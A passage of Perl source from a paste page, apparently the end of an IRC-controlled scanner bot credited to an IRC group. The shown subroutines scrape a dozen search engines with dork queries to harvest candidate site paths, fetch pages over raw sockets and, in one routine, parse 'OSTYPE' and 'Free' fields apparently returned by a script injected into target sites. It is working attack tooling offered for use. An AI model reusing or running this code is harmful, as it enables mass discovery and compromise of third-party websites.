  2105. }}
  2106. return @lst;
  2107. }
  2108.  
  2109. #####
  2110. # SUBS MSN
  2111. #####
  2112. sub msn(){
  2113. my @lst;
  2114. my $key = $_[0];
  2115. for($b=1;$b<=1000;$b+=10){
  2116. my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
  2117. my $Res=query($MsN);
  2118. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  2119. if($1 !~ /msn|live/){
  2120. my $k=$1;
  2121. my @grep=links($k);
  2122. push(@lst,@grep);
  2123. }}}
  2124. return @lst;
  2125. }
  2126.  
  2127. #####
  2128. # SUBS SEARCH
  2129. #####
  2130. sub search(){
  2131. my @lst;
  2132. my $key = $_[0];
  2133. for($b=0;$b<=1000;$b+=100){
  2134. my $ser=("http://www.search.com/search?q=".key($key)."".$b);
  2135. my $Res=query($ser);
  2136. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  2137. if ($1 !~ /msn|live|google|yahoo/){
  2138. my $k=$1;
  2139. my @grep=links($k);
  2140. push(@lst,@grep);
  2141. }}}
  2142. return @lst;
  2143. }
  2144.  
  2145. #####
  2146. # SUBS FireBall
  2147. #####
  2148. sub fireball(){
  2149. my $key=$_[0];
  2150. my $inizio=1;
  2151. my $pagine=200;
  2152. my @lst;
  2153. my $av=0;
  2154. while($inizio <= $pagine){
  2155. my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
  2156. my $Res=query($fireball);
  2157. while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
  2158. if ($1 !~ /msn|live|google|yahoo/){
  2159. my $k="$1/";
  2160. my @grep=links($k);
  2161. push(@lst,@grep);
  2162. }}
  2163. $av=$av+10;
  2164. $inizio++;
  2165. }
  2166. return @lst;
  2167. }
  2168.  
  2169. #####
  2170. # SUBS UOL
  2171. #####
  2172. sub uol(){
  2173. my @lst;
  2174. my $key = $_[0];
  2175. for($b=1;$b<=1000;$b+=10){
  2176. my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
  2177. my $Res=query($UoL);
  2178. while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
  2179. my $k=$1;
  2180. if($k!~/busca|uol|yahoo/){
  2181. my $k=$1;
  2182. my @grep=links($k);
  2183. push(@lst,@grep);
  2184. }}}
  2185. return @lst;
  2186. }
  2187.  
  2188. #####
  2189. # Altavista
  2190. #####
  2191. sub altavista(){
  2192. my @lst;
  2193. my $key = $_[0];
  2194. for($b=1;$b<=1000;$b+=10){
  2195. my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  2196. my $Res=query($AlT);
  2197. while($Res=~m/<span class=ngrn>(.+?)\//g){
  2198. if($1 !~ /altavista/){
  2199. my $k=$1;
  2200. $k=~s/<//g;
  2201. $k=~s/ //g;
  2202. my @grep=links($k);
  2203. push(@lst,@grep);
  2204. }}}
  2205. return @lst;
  2206. }
  2207.  
  2208. sub altavistade(){
  2209. my @lst;
  2210. my $key = $_[0];
  2211. for($b=1;$b<=1000;$b+=10){
  2212. my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  2213. my $Res=query($AlT);
  2214. while($Res=~m/<span class=ngrn>(.+?)\//g){
  2215. if($1 !~ /altavista/){
  2216. my $k=$1;
  2217. $k=~s/<//g;
  2218. $k=~s/ //g;
  2219. my @grep=links($k);
  2220. push(@lst,@grep);
  2221. }}}
  2222. return @lst;
  2223. }
  2224.  
  2225. sub altavistaus(){
  2226. my @lst;
  2227. my $key = $_[0];
  2228. for($b=1;$b<=1000;$b+=10){
  2229. my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  2230. my $Res=query($AlT);
  2231. while($Res=~m/<span class=ngrn>(.+?)\//g){
  2232. if($1 !~ /altavista/){
  2233. my $k=$1;
  2234. $k=~s/<//g;
  2235. $k=~s/ //g;
  2236. my @grep=links($k);
  2237. push(@lst,@grep);
  2238. }}}
  2239. return @lst;
  2240. }
  2241.  
  2242. #####
  2243. # HotBot
  2244. #####
  2245. sub hotbot(){
  2246. my @lst;
  2247. my $key = $_[0];
  2248. for($b=0;$b<=1000;$b+=100){
  2249. my $hot=("http://search.hotbot.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=hb_loc&enc=utf-8".$b);
  2250. my $Res=query($hot);
  2251. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  2252. if ($1 !~ /msn|live|google|yahoo/){
  2253. my $k=$1;
  2254. my @grep=links($k);
  2255. push(@lst,@grep);
  2256. }}}
  2257. return @lst;
  2258. }
  2259.  
  2260. sub hotbotb(){
  2261. my @lst;
  2262. my $key = $_[0];
  2263. for($b=0;$b<=1000;$b+=100){
  2264. my $hot=("http://search.hotbot.co.uk/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=hb_loc&enc=utf-8".$b);
  2265. my $Res=query($hot);
  2266. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  2267. if ($1 !~ /msn|live|google|yahoo/){
  2268. my $k=$1;
  2269. my @grep=links($k);
  2270. push(@lst,@grep);
  2271. }}}
  2272. return @lst;
  2273. }
  2274.  
  2275. #####
  2276. # Mamma
  2277. #####
  2278. sub mamma(){
  2279. my @lst;
  2280. my $key = $_[0];
  2281. for($b=0;$b<=1000;$b+=100){
  2282. my $mam=("http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=".key($key)."".$b);
  2283. my $Res=query($mam);
  2284. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  2285. if ($1 !~ /msn|live|google|yahoo/){
  2286. my $k=$1;
  2287. my @grep=links($k);
  2288. push(@lst,@grep);
  2289. }}}
  2290. return @lst;
  2291. }
  2292.  
  2293. #####
  2294. # MozBot
  2295. #####
  2296. sub mozbot()
  2297. {
  2298. my @lst;
  2299. my $key=$_[0];
  2300. my $i=0;
  2301. my $pg=0;
  2302. for($i=0; $i<=100; $i+=1){
  2303. my $mozbot=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$i);
  2304. my $Res=query($mozbot);
  2305. while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){
  2306. my $k=$1;
  2307. $k=~s/ //g;
  2308. my @grep=links($k);
  2309. push(@lst,@grep);
  2310. }}
  2311. return @lst;
  2312. }
  2313.  
  2314. sub mozbota()
  2315. {
  2316. my @lst;
  2317. my $key=$_[0];
  2318. my $i=0;
  2319. my $pg=0;
  2320. for($i=0; $i<=100; $i+=1){
  2321. my $mozbot=("http://www.mozbot.co.uk/search?q=".key($key)."&st=int&page=".$i);
  2322. my $Res=query($mozbot);
  2323. while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){
  2324. my $k=$1;
  2325. $k=~s/ //g;
  2326. my @grep=links($k);
  2327. push(@lst,@grep);
  2328. }}
  2329. return @lst;
  2330. }
  2331.  
  2332. sub mozbotb()
  2333. {
  2334. my @lst;
  2335. my $key=$_[0];
  2336. my $i=0;
  2337. my $pg=0;
  2338. for($i=0; $i<=100; $i+=1){
  2339. my $mozbot=("http://www.mozbot.com/search?q=".key($key)."&st=int&page=".$i);
  2340. my $Res=query($mozbot);
  2341. while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){
  2342. my $k=$1;
  2343. $k=~s/ //g;
  2344. my @grep=links($k);
  2345. push(@lst,@grep);
  2346. }}
  2347. return @lst;
  2348. }
  2349.  
  2350. #####
  2351. # SUBS AOL
  2352. #####
  2353. sub aol(){
  2354. my @lst;
  2355. my $key = $_[0];
  2356. for($b=1;$b<=100;$b++){
  2357. my $AoL=("http://search.aol.co.uk/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
  2358. my $Res=query($AoL);
  2359. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  2360. my $k=$1;
  2361. my @grep=links($k);
  2362. push(@lst,@grep);
  2363. }}
  2364. return @lst;
  2365. }
  2366.  
  2367. sub aola(){
  2368. my @lst;
  2369. my $key = $_[0];
  2370. for($b=1;$b<=59;$b+=1){
  2371. my $AoL=("http://205.188.99.136/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_en");
  2372. my $Res=query($AoL);
  2373. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  2374. my $k=$1;
  2375. my @grep=links($k);
  2376. push(@lst,@grep);
  2377. }}
  2378. return @lst;
  2379. }
  2380.  
  2381. sub aolb(){
  2382. my @lst;
  2383. my $key = $_[0];
  2384. for($b=1;$b<=59;$b+=1){
  2385. my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_de");
  2386. my $Res=query($AoL);
  2387. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  2388. my $k=$1;
  2389. my @grep=links($k);
  2390. push(@lst,@grep);
  2391. }}
  2392. return @lst;
  2393. }
  2394.  
  2395. sub aolc(){
  2396. my @lst;
  2397. my $key = $_[0];
  2398. for($b=1;$b<=59;$b+=1){
  2399. my $AoL=("http://64.12.129.44/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_fr");
  2400. my $Res=query($AoL);
  2401. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  2402. my $k=$1;
  2403. my @grep=links($k);
  2404. push(@lst,@grep);
  2405. }}
  2406. return @lst;
  2407. }
  2408.  
  2409. #####
  2410. # SUBS ASK
  2411. #####
  2412. sub ask(){
  2413. my @lst;
  2414. my $key=$_[0];
  2415. my $i=0;
  2416. my $pg=0;
  2417. for($i=0; $i<=1000; $i+=10)
  2418. {
  2419. my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
  2420. my $Res=query($Ask);
  2421. while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
  2422. my $k=$3;
  2423. $k=~s/[\"\ ]//g;
  2424. my @grep=links($k);
  2425. push(@lst,@grep);
  2426. }}
  2427. return @lst;
  2428. }
  2429.  
  2430. sub aska(){
  2431. my @lst;
  2432. my $key=$_[0];
  2433. my $i=0;
  2434. my $pg=0;
  2435. for($i=0; $i<=1000; $i+=10)
  2436. {
  2437. my $Ask=("http://uk.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
  2438. my $Res=query($Ask);
  2439. while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
  2440. my $k=$3;
  2441. $k=~s/[\"\ ]//g;
  2442. my @grep=links($k);
  2443. push(@lst,@grep);
  2444. }}
  2445. return @lst;
  2446. }
  2447.  
  2448. sub askb(){
  2449. my @lst;
  2450. my $key=$_[0];
  2451. my $i=0;
  2452. my $pg=0;
  2453. for($i=0; $i<=1000; $i+=10)
  2454. {
  2455. my $Ask=("http://de.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
  2456. my $Res=query($Ask);
  2457. while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
  2458. my $k=$3;
  2459. $k=~s/[\"\ ]//g;
  2460. my @grep=links($k);
  2461. push(@lst,@grep);
  2462. }}
  2463. return @lst;
  2464. }
  2465.  
  2466. sub links()
  2467. {
  2468. my @l;
  2469. my $link=$_[0];
  2470. my $host=$_[0];
  2471. my $hdir=$_[0];
  2472. $hdir=~s/(.*)\/[^\/]*$/\1/;
  2473. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2474. $host.="/";
  2475. $link.="/";
  2476. $hdir.="/";
  2477. $host=~s/\/\//\//g;
  2478. $hdir=~s/\/\//\//g;
  2479. $link=~s/\/\//\//g;
  2480. push(@l,$link,$host,$hdir);
  2481. return @l;
  2482. }
  2483.  
  2484. sub geths(){
  2485. my $host=$_[0];
  2486. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2487. return $host;
  2488. }
  2489.  
  2490. sub os(){
  2491. my $sito=$_[0];
  2492. my $Res=query($sito);
  2493. my $type;
  2494. my $free;
  2495. my $str;
  2496. while($Res=~m/<br>OSTYPE:(.+?)\<br>/g){
  2497. $type=$1;
  2498. }
  2499. while($Res=~m/<br>Free:(.+?)\<br>/g){
  2500. $free=$1;
  2501. }
  2502. $str=$type.",".$free;
  2503. return $str;
  2504. }
  2505.  
  2506. sub key(){
  2507. my $chiave=$_[0];
  2508. $chiave =~ s/ /\+/g;
  2509. $chiave =~ s/:/\%3A/g;
  2510. $chiave =~ s/\//\%2F/g;
  2511. $chiave =~ s/&/\%26/g;
  2512. $chiave =~ s/\"/\%22/g;
  2513. $chiave =~ s/,/\%2C/g;
  2514. $chiave =~ s/\\/\%5C/g;
  2515. return $chiave;
  2516. }
  2517.  
  2518. sub query($){
  2519. my $url=$_[0];
  2520. $url=~s/http:\/\///;
  2521. my $host=$url;
  2522. my $query=$url;
  2523. my $page="";
  2524. $host=~s/href=\"?http:\/\///;
  2525. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2526. $query=~s/$host//;
  2527. if ($query eq "") {$query="/";};
  2528. eval {
  2529. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  2530. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  2531. my @r = <$sock>;
  2532. $page="@r";
  2533. close($sock);
  2534. };
  2535. return $page;
  2536. }
  2537.  
  2538. sub unici{
  2539. my @unici = ();
  2540. my %visti = ();
  2541. foreach my $elemento ( @_ )
  2542. {
  2543. next if $visti{ $elemento }++;
  2544. push @unici, $elemento;
  2545. }
  2546. return @unici;
  2547. }
  2548.  
  2549. sub http_query($){
  2550. my ($url) = @_;
  2551. my $host=$url;
  2552. my $query=$url;
  2553. my $page="";
  2554. $host =~ s/href=\"?http:\/\///;
  2555. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2556. $query =~s/$host//;
  2557. if ($query eq "") {$query="/";};
  2558. eval {
  2559. local $SIG{ALRM} = sub { die "1";};
  2560. alarm 10;
  2561. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  2562. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  2563. my @r = <$sock>;
  2564. $page="@r";
  2565. alarm 0;
  2566. close($sock);
  2567. };
  2568. return $page;
  2569. }
  2570. }
  2571.  
  2572. ##################################################
  2573. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™     #
  2574. #     www.AnakDompu.by.ru            #
  2575. #        Created By Shinchi          #
  2576. #        #AnakDompu          #
  2577. #       irc.dal.net          #
  2578. ##################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement